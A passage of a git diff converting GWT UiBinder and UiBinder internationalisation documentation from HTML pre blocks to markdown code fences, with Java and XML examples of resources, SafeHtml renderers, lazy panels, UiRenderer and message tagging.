-the `&lt;ui:with>` element, but at the cost of having them
+the `<ui:with>` element, but at the cost of having them
 instantiated for you. If instead you want your code to be in charge of
 finding or creating that resource, you have two means to take
 control. You can mark a factory method with `@UiFactory`,
@@ -632,8 +696,9 @@
 Resources instance needed by the template in the
 [previous example](#Using_an_external_resource).
 
-<pre class="prettyprint">public class LogoNamePanel extends Composite {
-  interface MyUiBinder extend UiBinder&lt;Widget, LogoNamePanel> {}
+```
+public class LogoNamePanel extends Composite {
+  interface MyUiBinder extend UiBinder<Widget, LogoNamePanel> {}
   private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
   @UiField SpanElement nameSpan;
@@ -652,7 +717,8 @@
   public Resources getResources() {
     return resources;
   }
-}</pre>
+}
+```
 
 Any field in the template that is of type Resources will
 be instantiated by a call to `getResources`.  If your factory
@@ -661,8 +727,9 @@
 You can make things more concise, and have finer control, by using
 `@UiField(provided = true)`.
 
-<pre class="prettyprint">public class LogoNamePanel extends Composite {
-  interface MyUiBinder extends UiBinder&lt;Widget, LogoNamePanel> {}
+```
+public class LogoNamePanel extends Composite {
+  interface MyUiBinder extends UiBinder<Widget, LogoNamePanel> {}
   private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
   @UiField SpanElement nameSpan;
@@ -678,7 +745,8 @@
   public void setUserName(String userName) {
     nameSpan.setInnerText(userName);
   }
-}</pre>
+}
+```
 
 ## Hello Text Resources<a id="Hello_Text_Resources"></a>
 
@@ -689,11 +757,13 @@
 it. Instead, use `<ui:text>` to stitch it right into the
 template.
 
-<pre class="prettyprint">&lt;ui:with field='res' type='com.my.app.widgets.logoname.Resources'/>
+```
+<ui:with field='res' type='com.my.app.widgets.logoname.Resources'/>
 
-&lt;div>
-  Hello, &lt;ui:text from='{res.userName}'/>.
-&lt;/div></pre>
+<div>
+  Hello, <ui:text from='{res.userName}'/>.
+</div>
+```
 
 **Optimization Note**: If that resource is coming
 from a method that the GWT compiler recognizes as doing nothing more
@@ -710,34 +780,40 @@
 any [SafeHtml](DevGuideSecuritySafeHtml.html)
 into any HTML context.
 
-<pre class="prettyprint">&lt;ui:with field='res' type='com.my.app.widgets.logoname.Resources'/>
+```
+<ui:with field='res' type='com.my.app.widgets.logoname.Resources'/>
 
-&lt;div>
-  Hello, &lt;ui:safehtml from='{res.fancyUserName}'/>.
-&lt;/div></pre>
+<div>
+  Hello, <ui:safehtml from='{res.fancyUserName}'/>.
+</div>
+```
 
 You also have another option with HTML. Any SafeHtml class can be
 used directly, much the same as a widget.
 
-<pre class="prettyprint">&lt;div>
-  Hello, &lt;my:FancyUserNameRenderer style="MOBILE">World&lt;/my:FancyUserNameRenderer>.
-&lt;/div></pre>
+```
+
+<div>
+  Hello, <my:FancyUserNameRenderer style="MOBILE">World</my:FancyUserNameRenderer>.
+</div>
+```
 
  You might implement such a renderer this way. (Note the only
 slightly contrived use here of
 [SafeHtmlTemplates](/javadoc/latest/com/google/gwt/safehtml/client/SafeHtmlTemplates.html)
 to guard against XSS attacks.)
 
-<pre class="prettyprint">public class FancyUserNameRenderer implements SafeHtml, HasText {
+```
+public class FancyUserNameRenderer implements SafeHtml, HasText {
   enum Style {
     MOBILE, DESKTOP
   }
 
   interface Templates extends SafeHtmlTemplates {
-    @SafeHtmlTemplates.Template("&lt;span class=\"mobile\">{0}&lt;/span>")
+    @SafeHtmlTemplates.Template("<span class=\"mobile\">{0}</span>")
     SafeHtml mobile(String name);
 
-    @SafeHtmlTemplates.Template("&lt;div class=\"desktop\">{0}&lt;/div>")
+    @SafeHtmlTemplates.Template("<div class=\"desktop\">{0}</div>")
     SafeHtml desktop(String name);
   }
   private static final Templates TEMPLATES = GWT.create(Templates.class);
@@ -761,7 +837,8 @@
     }
     return Style.DESKTOP: return TEMPLATES.desktop(name);
   }
-}</pre>
+}
+```
 
 While this is a great technique, it's limited. Objects used this
 way are kind of a
@@ -780,7 +857,8 @@
 is not a proven pattern for implementing themes in an application, and
 may or may not be the best way to do that.
 
-<pre class="prettyprint">public class FooPickerController {
+```
+public class FooPickerController {
   public interface Display {
     HasText getTitleField();
     SourcesChangeEvents getPickerSelect();
@@ -793,11 +871,11 @@
     implements FooPickerController.Display {
 
   @UiTemplate("RedFooPicker.ui.xml")
-  interface RedBinder extends UiBinder&lt;Widget, FooPickerDisplay> {}
+  interface RedBinder extends UiBinder<Widget, FooPickerDisplay> {}
   private static RedBinder redBinder = GWT.create(RedBinder.class);
 
   @UiTemplate("BlueFooPicker.ui.xml")
-  interface BlueBinder extends UiBinder&lt;Widget, FooPickerDisplay> {}
+  interface BlueBinder extends UiBinder<Widget, FooPickerDisplay> {}
   private static BlueBinder blueBinder = GWT.create(BlueBinder.class);
 
   @UiField HasText titleField;
@@ -810,7 +888,7 @@
     return pickerSelect;
   }
 
-  protected FooPickerDisplay(UiBinder&lt;Widget, FooPickerDisplay> binder) {
+  protected FooPickerDisplay(UiBinder<Widget, FooPickerDisplay> binder) {
     initWidget(binder.createAndBindUi(this));
   }
 
@@ -821,7 +899,8 @@
   public static FooPickerDisplay createBluePicker() {
     return new FooPickerDisplay(blueBinder);
   }
-}</pre>
+}
+```
 
 ## LazyPanel and LazyDomElement<a id="Lazy"></a>
 
@@ -833,27 +912,29 @@
 you're feeling lazy yourself: it's abstract, and you really don't want
 to deal with extending.
 
-<pre class="prettyprint">&lt;gwt:TabLayoutPanel barUnit='EM' barHeight='1.5'>
-  &lt;gwt:tab>
-    &lt;gwt:header>Summary&lt;/gwt:header>
-    &lt;gwt:LazyPanel>
-      &lt;my:SummaryPanel/>
-    &lt;/gwt:LazyPanel>
-  &lt;/gwt:tab>
-  &lt;gwt:tab>
-    &lt;gwt:header>Profile&lt;/gwt:header>
-    &lt;gwt:LazyPanel>
-      &lt;my:ProfilePanel/>
-    &lt;/gwt:LazyPanel>
-  &lt;/gwt:tab>
-  &lt;gwt:tab>
-    &lt;gwt:header>Reports&lt;/gwt:header>
-    &lt;gwt:LazyPanel>
-      &lt;my:ReportsPanel/>
-    &lt;/gwt:LazyPanel>
-  &lt;/gwt:tab>
-&lt;/gwt:TabLayoutPanel>
-</pre>
+```
+
+<gwt:TabLayoutPanel barUnit='EM' barHeight='1.5'>
+  <gwt:tab>
+    <gwt:header>Summary</gwt:header>
+    <gwt:LazyPanel>
+      <my:SummaryPanel/>
+    </gwt:LazyPanel>
+  </gwt:tab>
+  <gwt:tab>
+    <gwt:header>Profile</gwt:header>
+    <gwt:LazyPanel>
+      <my:ProfilePanel/>
+    </gwt:LazyPanel>
+  </gwt:tab>
+  <gwt:tab>
+    <gwt:header>Reports</gwt:header>
+    <gwt:LazyPanel>
+      <my:ReportsPanel/>
+    </gwt:LazyPanel>
+  </gwt:tab>
+</gwt:TabLayoutPanel>
+```
 
 That helped, but there is more you can do.
 
@@ -865,11 +946,12 @@
 you can defer those calls until they're actually needed &mdash; if
 they ever are.
 
-<pre class="prettyprint">public class HelloWorld extends UIObject { // Could extend Widget instead
-  interface MyUiBinder extends UiBinder&lt;DivElement, HelloWorld> {}
+```
+public class HelloWorld extends UIObject { // Could extend Widget instead
+  interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}
   private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
-  @UiField LazyDomElement&lt;SpanElement> nameSpan;
+  @UiField LazyDomElement<SpanElement> nameSpan;
 
   public HelloWorld() {
     // createAndBindUi initializes this.nameSpan
@@ -877,7 +959,8 @@
   }
 
   public void setName(String name) { nameSpan.get().setInnerText(name); }
-}</pre>
+}
+```
 
 ## Rendering HTML for Cells<a id="Rendering_HTML_for_Cells"></a>
 
@@ -886,15 +969,18 @@
 form proper HTML quickly gets old. UiBinder lets you use the same templates to
 render that HTML.
 
-<pre class="prettyprint">&lt;!-- HelloWorldCell.ui.xml -->
+```
 
-&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
-  &lt;ui:with field='name' type='java.lang.String'/>
+<!-- HelloWorldCell.ui.xml -->
 
-  &lt;div>
-    Hello, &lt;span>&lt;ui:text from='{name}'/>&lt;/span>.
-  &lt;/div>
-&lt;/ui:UiBinder></pre>
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
+  <ui:with field='name' type='java.lang.String'/>
+
+  <div>
+    Hello, <span><ui:text from='{name}'/></span>.
+  </div>
+</ui:UiBinder>
+```
 
 The `<ui:with>` tag defines fields to use as data to render the
 template. These templates can only contain HTML elements, no widgets or panels.
@@ -903,7 +989,8 @@
 [UiRenderer](/javadoc/latest/com/google/gwt/uibinder/client/UiRenderer.html)
 interface (instead of `UiBinder`).
 
-<pre class="prettyprint">public class HelloWorldCell extends AbstractCell<String> {
+```
+public class HelloWorldCell extends AbstractCell<String> {
   interface MyUiRenderer extends UiRenderer {
     void render(SafeHtmlBuilder sb, String name);
   }
@@ -913,7 +1000,8 @@
   public void render(Context context, String value, SafeHtmlBuilder builder) {
     renderer.render(builder, value);
   }
-}</pre>
+}
+```
 
 UiBinder uses the names of the parameters in
 `MyUiRenderer.render()` to match the fields defined
@@ -933,9 +1021,11 @@
 allows the generated code to distinguish the span element from the other
 elements in the template.
 
-<pre class="prettyprint">&lt;div>
-  Hello, &lt;span ui:field='nameSpan'>&lt;ui:text from='{name}'/>&lt;/span>.
-&lt;/div></pre>
+```
+<div>
+  Hello, <span ui:field='nameSpan'><ui:text from='{name}'/></span>.
+</div>
+```
 
 Add a `onBrowserEvent` method
 to `MyUiRenderer`. The `onBrowserEvent` in the renderer
@@ -944,34 +1034,42 @@
 the handlers. The first argument is what UiRenderer uses to dispatch events
 from `onBrowserEvent` to methods in a Cell Widget object.
 
-<pre class="prettyprint">interface MyUiRenderer extends UiRenderer {
+```
+interface MyUiRenderer extends UiRenderer {
   void render(SafeHtmlBuilder sb, String name);
   onBrowserEvent(HelloWorldCell o, NativeEvent e, Element p, String n);
-}</pre>
+}
+```
 
 Let the [AbstractCell](/javadoc/latest/com/google/gwt/cell/client/AbstractCell.html) know that you will handle `click` events.
 
-<pre class="prettyprint">public HelloWorldCell() {
+```
+public HelloWorldCell() {
   super("click");
-}</pre>
+}
+```
 
 Let the Cell `onBrowserEvent` delegate the handling to the `renderer`.
 
-<pre class="prettyprint">@Override
+```
+@Override
 public void onBrowserEvent(Context context, Element parent, String value,
-    NativeEvent event, ValueUpdater&lt;String> updater) {
+    NativeEvent event, ValueUpdater<String> updater) {
   renderer.onBrowserEvent(this, event, parent, value);
-}</pre>
+}
+```
 
 Finally, add the handler method to `HelloWorldCell`, and tag it
 with `@UiHandler({"nameSpan"})`. The type of the first parameter,
 [ClickEvent](/javadoc/latest/com/google/gwt/event/dom/client/ClickEvent.html),
 will determine the type of event handled.
 
-<pre class="prettyprint">@UiHandler({"nameSpan"})
+```
+@UiHandler({"nameSpan"})
 void onNameGotPressed(ClickEvent event, Element parent, String name) {
   Window.alert(name + " was pressed!");
-}</pre>
+}
+```
 
 ## Getting rendered elements<a id="UiRenderer_getting_rendered_elements"></a>
 
@@ -979,11 +1077,13 @@
 marked with `ui:field`. This is useful when you need to manipulate
 the DOM elements.
 
-<pre class="prettyprint">interface MyUiRenderer extends UiRenderer {
+```
+interface MyUiRenderer extends UiRenderer {
   // ... snip ...
   SpanElement getNameSpan(Element parent);
   // ... snip ...
-}</pre>
+}
+```
 
 Use the getter by passing the parent element received by the Cell
 widget. The name of these getters must match the `ui:field`
@@ -991,10 +1091,12 @@
 `ui:field` named `someName`, the getter should
 be `getSomeName(Element parent)`.
 
-<pre class="prettyprint">@UiHandler({"nameSpan"})
+```
+@UiHandler({"nameSpan"})
 void onNameGotPressed(ClickEvent event, Element parent, String name) {
   renderer.getNameSpan(parent).setInnerText(name + ", dude!");
-}</pre>
+}
+```
 
 ## Access to styles with UiRenderers<a id="UiRenderer_styles"></a>
 
@@ -1002,39 +1104,49 @@
 template. Just define a getter with no parameters matching the style name and
 returning the style type.
 
-<pre class="prettyprint">&lt;ui:style field="myStyle" type="com.my.app.AStyle">
+```
+
+<ui:style field="myStyle" type="com.my.app.AStyle">
   .red {color:#900;}
   .normal {color:#000;}
-&lt;/ui:style>
+</ui:style>
 
-&lt;div>
-  Hello, &lt;span ui:field="nameSpan" class="{myStyle.normal}">
-    &lt;ui:text from="{name}"/>&lt;/span>.
-&lt;/div></pre>
+<div>
+  Hello, <span ui:field="nameSpan" class="{myStyle.normal}">
+    <ui:text from="{name}"/></span>.
+</div>
+```
 
 Define the style interface:
 
-<pre class="prettyprint">public interface AStyle extends CssResource {
+```
+public interface AStyle extends CssResource {
   String normal();
   String red();
-}</pre>
+}
+```
 
 Define the style getter in the UiRenderer interface, prepending the
 style name with "get":
 
-<pre class="prettyprint">interface MyUiRenderer extends UiRenderer {
+```
+
+interface MyUiRenderer extends UiRenderer {
   // ... snip ...
   AStyle getMyStyle();
   // ... snip ...
-}</pre>
+}
+```
 
 Then use the style wherever you need it. Notice that you need to get the style
 name using the `red()` accessor method. The GWT compiler obfuscates the actual name
 of the style to prevent collisions with other similarly named styles in your
 application.
 
-<pre class="prettyprint">@UiHandler({"nameSpan"})
+```
+@UiHandler({"nameSpan"})
 void onNameGotPressed(ClickEvent event, Element parent, String name) {
   String redStyle = renderer.getMyStyle().red();
   renderer.getNameSpan(parent).replaceClass(redStyle);
-}</pre>
+}
+```
diff --git a/src/main/markdown/doc/latest/DevGuideUiBinderI18n.md b/src/main/markdown/doc/latest/DevGuideUiBinderI18n.md
index a780a97..158deb4 100644
--- a/src/main/markdown/doc/latest/DevGuideUiBinderI18n.md
+++ b/src/main/markdown/doc/latest/DevGuideUiBinderI18n.md
@@ -13,7 +13,7 @@
 ## Background<a id="Background"></a>
 
 UiBinder templates can be marked up for localization. You use the
-`&lt;ui:msg>` and `&lt;ui:attribute>` elements to indicate which portions
+`<ui:msg>` and `<ui:attribute>` elements to indicate which portions
 of the template should be translated, then provide properties
 files with localized versions of the messages when building your app.
 
@@ -27,23 +27,27 @@
 
 Here's how to turn the feature on.
 
-**Original** 
+**Original**
 
-<pre class="code">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
-  &lt;div>Hello, world.&lt;/div>
-&lt;/ui:UiBinder></pre>
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
+  <div>Hello, world.</div>
+</ui:UiBinder>
+```
 
-**Tagged** 
+**Tagged**
 
-<pre class="code">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
     ui:generateFormat='com.google.gwt.i18n.rebind.format.PropertiesFormat'
     ui:generateKeys="com.google.gwt.i18n.server.keygen.MD5KeyGenerator"
     ui:generateLocales="default">
-  &lt;div>&lt;ui:msg description="Greeting">Hello, world.&lt;/ui:msg>&lt;/div>
-&lt;/ui:UiBinder></pre>
+  <div><ui:msg description="Greeting">Hello, world.</ui:msg></div>
+</ui:UiBinder>
+```
 
 We've done two things here. We've configured UiBinder's I18N features
-by adding a few attributes to the root `&lt;ui:UiBinder>` element,
+by adding a few attributes to the root `<ui:UiBinder>` element,
 and we've tagged our text as being an individual message that needs translation.
 
 First look at our "Hello, world." text. By putting it in
@@ -56,7 +60,7 @@
 
 Now that we have something that needs to be translated, we set our
 configuration to say how it should be done via attributes on the
-root `&lt;ui:UiBinder>` element. These `ui:generate*`
+root `<ui:UiBinder>` element. These `ui:generate*`
 attributes correspond to the arguments of LocalizableResource's
 [@Generate](/javadoc/latest/com/google/gwt/i18n/client/LocalizableResource.Generate.html)
 annotation. Here's what they mean.
@@ -86,12 +90,14 @@
 A properties file will be generated for each template, containing
 an entry for each message tagged for localization, something like:
 
-<pre class="code"># Generated from my.app.HelloWorldMyBinderImplGenMessages
+```
+# Generated from my.app.HelloWorldMyBinderImplGenMessages
 # for locale default
 
 # Description: Greeting
 022A824F26735ED0582324BE34F3CAE1=Hello, world.
-</pre>
+
+```
 
 The names of the generated files are a bit unfortunate, based on
 the UiBinder interfaces you declare. For example, if this template is
@@ -109,7 +115,7 @@
 "com.example..." prefix is dropped).
 
 You don't have to use md5 keys. If you prefer to create your own,
-the `&lt;ui:msg>` element accepts a `key` attribute
+the `<ui:msg>` element accepts a `key` attribute
 to let you do just that. On the other hand, if you stick with md5 keys
 you can gather all of your app's translations for a particular locale
 into a single file, rather than keeping them scattered throughout your
@@ -124,7 +130,7 @@
 entry](http://code.google.com/p/puzzlebazar/wiki/UiBinderInternationalisation) from the puzzlebazar project for an example.
 
 There are are a couple of other I18N attributes that can be set on
-the `&lt;ui:UiBinder>` element, corresponding to other
+the `<ui:UiBinder>` element, corresponding to other
 Localizable annotations, but you'll rarely change them from their
 default values.
 
@@ -150,13 +156,17 @@
 
 A message element in a context where HTML is appropriate can hold HTML markup. 
 
-**Original** 
+**Original**
 
-<pre class="code">We &lt;b&gt;strongly&lt;/b&gt; urge you to reconsider.</pre>
+```
+We <b>strongly</b> urge you to reconsider.
+```
 
 *Tagged*
 
-<pre class="code">&lt;ui:msg&gt;We &lt;b&gt;strongly&lt;/b&gt; urge you to reconsider.&lt;/ui:msg&gt;</pre>
+```
+<ui:msg>We <b>strongly</b> urge you to reconsider.</ui:msg>
+```
 
 Simple formatting is reasonable to put in front of a translator,
 and so UiBinder supports HTML in messages, not just text.
@@ -166,55 +176,71 @@
 Sometimes you will need to put opaque blocks inside of a message,
 to keep your translators from breaking your app.
 
-**Original** 
+**Original**
 
-<pre class="code">&lt;!-- Uh oh, don't want translator to mess up brand CSS or the trademark span --&gt;
+```
+<!-- Uh oh, don't want translator to mess up brand CSS or the trademark span -->
 
-&lt;div&gt;&lt;span class="brand"&gt;Colgate&lt;/span&gt;, with MFP!&lt;span class="tm"&gt;TM&lt;/span&gt;&lt;/div&gt;</pre>
+<div><span class="brand">Colgate</span>, with MFP!<span class="tm">TM</span></div>
+```
 
 **Tagged**
 
-<pre class="code">&lt;div&gt;
-  &lt;ui:msg description="blurb"&gt;&lt;span class="brand" ui:ph="brandedSpan"&gt;Colgate&lt;/span&gt;,
-  with MFP!&lt;ui:ph name="trademark"&gt;&lt;span class="tm"&gt;TM&lt;/span&gt;&lt;/ui:ph&gt;&lt;/ui:msg&gt;
-&lt;/div&gt;</pre>
+```
+<div>
+  <ui:msg description="blurb"><span class="brand" ui:ph="brandedSpan">Colgate</span>,
+  with MFP!<ui:ph name="trademark"><span class="tm">TM</span></ui:ph></ui:msg>
+</div>
+```
 
 **Generated**
 
-<pre class="code"># Description: blurb
-# 0=arg0 (Example: &lt;span class='brand'>), 1=arg1 (Example: &lt;/span>), 2=arg2 (Example: &lt;span class='tm'>TM&lt;/span>)
+```
+# Description: blurb
+# 0=arg0 (Example: <span class='brand'>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span class='tm'>TM</span>)
 6E8B421C6A7C1FEAE23FAA9D43C90D5E={0}Colgate{1}, with MFP\!{2}
-</pre>
+
+```
 
 There are two examples in here. First, you see a `ui:ph` attribute that can be added to any child of a `ui:msg`, to indicate that _placeholders_ should be created to protect it from translators. Two placeholders are created, for the opening and closing tags of the element (in this case, `brandedSpanOpen` and `brandedSpanClose`).
 
 Second, we see an element, also named `ui:ph`, that can surround an arbitrary bit of markup to be protected in its entirety (in this case, the trademark placeholder).
 
-So, you have both an element to surround untranslatable runs: **&lt;ui:ph&gt;**don't translate**&lt;/ui:ph&gt;**, and an attribute to put in arbitrary elements to hide their begin and end tags from translators, but keep their content as part of the translatable message:  &lt;span **ui:ph**&gt;attribute`&lt;`/span&gt;. Note that you can put the `ui:ph` attribute in any DOM element, it's not particular to `&lt;span>`.
+So, you have both an element to surround untranslatable runs: **`<ui:ph>` **don't
+translate** `</ui:ph>`**, and an attribute to put in arbitrary elements to hide their begin and
+end tags from translators, but keep their content as part of the translatable message:
+`<span ui:ph>attribute</span>`. Note that you can put the `ui:ph` attribute in any DOM
+element, it's not particular to `<span>`.
 
 ## Messages with Values Computed at Runtime<a id="Messages_with_runtime_computed_values"></a>
 
 When you want to change portions of a template at runtime, you typically put a ui:field in a 
-span or other element and play with its HTML. When you do that inside a &lt;ui:msg>, it is automatically
-protected from translation for you.
+span or other element and play with its HTML. When you do that inside a `<ui:msg>`, it is
+automatically protected from translation for you.
 
-**Original** 
+**Original**
 
-<pre class="code">&lt;!-- Java code will make calls like getClosingDate().setInnerText(closingDate()) --&gt;
-(closed &lt;span ui:field="closingDate" /&gt; through &lt;span ui:field="reopeningDate"/&gt;)</pre>
+```
+<!-- Java code will make calls like getClosingDate().setInnerText(closingDate()) -->
+(closed <span ui:field="closingDate" /> through <span ui:field="reopeningDate"/>)
+```
 
 **Tagged**
 
-<pre class="code">&lt;ui:msg description='closed for business message'>
-  (closed &lt;span ui:field='closingDate' /&gt; through &lt;span ui:field='reopeningDate'/&gt;)
-&lt;/ui:msg&gt;</pre>
+```
+<ui:msg description='closed for business message'>
+  (closed <span ui:field='closingDate' /> through <span ui:field='reopeningDate'/>)
+</ui:msg>
+```
 
 **Generated**
 
-<pre class="code"># Description: closed for business message
-# 0=arg0 (Example: &lt;span id=''>), 1=arg1 (Example: &lt;/span>), 2=arg2 (Example: &lt;span id=''>), 3=arg3 (Example: &lt;/span>)
+```
+# Description: closed for business message
+# 0=arg0 (Example: <span id=''>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span id=''>), 3=arg3 (Example: </span>)
 E30D43242E1AD2AC2EFA1AEEEFDFCC33=(closed {0}{1} through {2}{3})
-</pre>
+
+```
 
 There is good news and bad news here. The good news is that you
 don't have to add any `ui:ph` attributes or elements to protect
@@ -224,51 +250,63 @@
 `{0}{1}` and `{2}{3}`.)
 
 If that's a concern, you need to put the named spans inside
-`&lt;ui:ph>` elements to make them opaque, like so:
+`<ui:ph>` elements to make them opaque, like so:
 
 **Tagged**
 
-<pre class="code">&lt;ui:msg>
-  (closed &lt;ui:ph name='closingDate' example="7/12/2008"&gt;&lt;span ui:field="closingDate"/&gt;&lt;/ui:ph&gt;
-  through &lt;ui:ph name='reopeningDate' example="7/12/2008"&gt;&lt;span ui:field="reopeningDate"/&gt;&lt;/ui:ph&gt;)
-&lt;/ui:msg&gt;</pre>
+```
+<ui:msg>
+  (closed <ui:ph name='closingDate' example="7/12/2008"><span ui:field="closingDate"/></ui:ph>
+  through <ui:ph name='reopeningDate' example="7/12/2008"><span ui:field="reopeningDate"/></ui:ph>)
+</ui:msg>
+```
 
 **Generated**
 
-<pre class="code"># 0=arg0 (Example: 7/12/2008), 1=arg1 (Example: 7/12/2008)
+```
+# 0=arg0 (Example: 7/12/2008), 1=arg1 (Example: 7/12/2008)
 53B9CF65553DFAA091435791E5C731E7=(closed {0} through {1})
-</pre>
+
+```
 
 The `example` attribute is optional, and allows you to give
 the translator a more useful explanation of what your placeholders are for.
 
 ## Message Containing Widgets (HTMLPanel Only)<a id="Messages_containing_widgets"></a>
 
-When working with `&lt;g:[HTMLPanel](/javadoc/latest/com/google/gwt/user/client/ui/HTMLPanel.html)>`
+When working with `<g:[HTMLPanel](/javadoc/latest/com/google/gwt/user/client/ui/HTMLPanel.html)>`
 elements, you may find yourself placing widgets inside your messages. No problem!
 
-**Original** 
+**Original**
 
-<pre class="code">&lt;g:HTMLPanel&gt;
+```
+<g:HTMLPanel>
   Meeting starts at
-    &lt;my:TimePicker ui:field="startPicker"/&gt;
+    <my:TimePicker ui:field="startPicker"/>
   and ends at
-    &lt;my:TimePicker ui:field="endPicker"/&gt;.
-&lt;/g:HTMLPanel&gt;</pre>
+    <my:TimePicker ui:field="endPicker"/>.
+</g:HTMLPanel>
+```
 
 **Tagged**
 
-<pre class="code">&lt;g:HTMLPanel&gt;
-  &lt;ui:msg&gt;Meeting starts at
-    &lt;my:TimePicker ui:field="startPicker"/&gt;
+```
+<g:HTMLPanel>
+  <ui:msg>Meeting starts at
+    <my:TimePicker ui:field="startPicker"/>
   and ends at
-    &lt;my:TimePicker ui:field="endPicker"/&gt;.
-  &lt;/ui:msg&gt;
-&lt;/g:HTMLPanel&gt;</pre>
+    <my:TimePicker ui:field="endPicker"/>.
+  </ui:msg>
+</g:HTMLPanel>
+```
 
-<pre class="code"># 0=arg0 (Example: &lt;span>), 1=arg1 (Example: &lt;/span>), 2=arg2 (Example: &lt;span>), 3=arg3 (Example: &lt;/span>)
+
+
+```
+# 0=arg0 (Example: <span>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span>), 3=arg3 (Example: </span>)
 23CBEA252C9901BF84D757FAD4968289=Meeting starts at {0}{1} and ends at {2}{3}.
-</pre>
+
+```
 
 Note that there is no `ui:ph` attribute on the widgets. There's no need for them, as there is no ambiguity about what must be done when a widget shows up in the middle of a message. Note also that you can only do this kind of thing (widgets in messages) inside of an HTMLPanel, the only widget in the GWT collection that intermixes markup and child widgets.
 
@@ -287,43 +325,53 @@
 
 **Original**
 
-<pre class="code">&lt;g:HTMLPanel&gt;
-  To do the thing, &lt;g:Hyperlink targetHistoryToken="/doThe#thing"&gt;click here&lt;/g:Hyperlink&gt; 
+```
+<g:HTMLPanel>
+  To do the thing, <g:Hyperlink targetHistoryToken="/doThe#thing">click here</g:Hyperlink>
   and massage vigorously.
-&lt;/g:HTMLPanel&gt;</pre>
+</g:HTMLPanel>
+```
 
 **Tagged**
 
-<pre class="code">&lt;g:HTMLPanel&gt;
-  &lt;ui:msg>
-    To do the thing, &lt;g:Hyperlink targetHistoryToken="/doThe#thing"&gt;click here&lt;/g:Hyperlink&gt; 
+```
+<g:HTMLPanel>
+  <ui:msg>
+    To do the thing, <g:Hyperlink targetHistoryToken="/doThe#thing">click here</g:Hyperlink>
     and massage vigorously.
-  &lt;/ui:msg>
-&lt;/g:HTMLPanel&gt;</pre>
+  </ui:msg>
+</g:HTMLPanel>
+```
 
 **Generated**
 
-<pre class="code"># 0=arg0 (Example: &lt;span>), 1=arg1 (Example: &lt;/span>)
+```
+# 0=arg0 (Example: <span>), 1=arg1 (Example: </span>)
 8EFBF967A3FEFE78C41C8A298562A094=To do the thing, {0}click here{1} and massage vigorously.
-</pre>
+
+```
 
 ## HTML Attributes that Need Translation<a id="HTML_attributes_that_need_translation"></a>
 
 Body text isn't the only thing that will need translation &mdash;
 attributes may need the same treatment. The title attribute, for
-tool-tip text, and the `alt` tag of an `&lt;img>` are the most common
+tool-tip text, and the `alt` tag of an `<img>` are the most common
 examples.
 
-**Original** 
+**Original**
 
-<pre class="code">&lt;th title="Gross recipts"&gt;Gross&lt;/th&gt;</pre>
+```
+<th title="Gross recipts">Gross</th>
+```
 
 **Tagged**
 
-<pre class="code">&lt;th title="Gross receipts"&gt;
-  &lt;ui:attribute ui:name='title' ui:description='Tooltip text for gross column'/&gt;
-  &lt;ui:msg description='name of gross column'&gt;Gross&lt;/ui:msg&gt;
-&lt;/th&gt;</pre>
+```
+<th title="Gross receipts">
+  <ui:attribute ui:name='title' ui:description='Tooltip text for gross column'/>
+  <ui:msg description='name of gross column'>Gross</ui:msg>
+</th>
+```
 
 ## Words with Multiple Meanings<a id="Words_with_Multiple_Meanings"></a>
 
@@ -331,27 +379,32 @@
 
 **Original**
 
-<pre class="code">Favorite Color:
-  &lt;ui:RadioButton name="color"&gt;Red&lt;/ui:RadioButton&gt;
-  &lt;ui:RadioButton name="color"&gt;Orange&lt;/ui:RadioButton&gt;
+```
+Favorite Color:
+  <ui:RadioButton name="color">Red</ui:RadioButton>
+  <ui:RadioButton name="color">Orange</ui:RadioButton>
 
 Favorite Fruit:
-  &lt;ui:RadioButton name="fruit"&gt;Apple&lt;/ui:RadioButton&gt;
-  &lt;ui:RadioButton name="fruit"&gt;Orange&lt;/ui:RadioButton&gt;</pre>
+  <ui:RadioButton name="fruit">Apple</ui:RadioButton>
+  <ui:RadioButton name="fruit">Orange</ui:RadioButton>
+```
 
 **Tagged**
 
-<pre class="code">Favorite Color:
-  &lt;ui:RadioButton name="color"&gt;&lt;ui:msg&gt;Red&lt;/ui:msg&gt;&lt;/ui:RadioButton&gt;
-  &lt;ui:RadioButton name="color"&gt;&lt;ui:msg meaning="the color"/&gt;Orange&lt;/ui:msg&gt;&lt;/ui:RadioButton&gt;
+```
+Favorite Color:
+  <ui:RadioButton name="color"><ui:msg>Red</ui:msg></ui:RadioButton>
+  <ui:RadioButton name="color"><ui:msg meaning="the color"/>Orange</ui:msg></ui:RadioButton>
 
 Favorite Fruit:
-  &lt;ui:RadioButton name="fruit"&gt;&lt;ui:msg&gt;Apple&lt;/ui:msg&gt;&lt;/ui:RadioButton&gt;
-  &lt;ui:RadioButton name="fruit"&gt;&lt;ui:msg meaning="the fruit"&gt;Orange&lt;ui:msg&gt;&lt;/ui:RadioButton&gt;</pre>
+  <ui:RadioButton name="fruit"><ui:msg>Apple</ui:msg></ui:RadioButton>
+  <ui:RadioButton name="fruit"><ui:msg meaning="the fruit">Orange<ui:msg></ui:RadioButton>
+```
 
 **Generated**
 
-<pre class="code"># Meaning: the color
+```
+# Meaning: the color
 4404BE8C34552617D633271BBC1FAB07=Orange
 
 # Meaning: the fruit
@@ -360,7 +413,8 @@
 9F6290F4436E5A2351F12E03B6433C3C=Apple
 
 EE38E4D5DD68C4E440825018D549CB47=Red
-</pre>
+
+```
 
 The punchline here is that a translator may well be working with no
 more context than the attributes you set on an individual message. And
diff --git a/src/main/markdown/doc/latest/DevGuideUiBrowser.md b/src/main/markdown/doc/latest/DevGuideUiBrowser.md
index dc5ed83..eaa286e 100644
--- a/src/main/markdown/doc/latest/DevGuideUiBrowser.md
+++ b/src/main/markdown/doc/latest/DevGuideUiBrowser.md
@@ -5,8 +5,8 @@
 and [composites](DevGuideUiCustomWidgets.html), your applications will work similarly on the most recent versions of Internet Explorer,
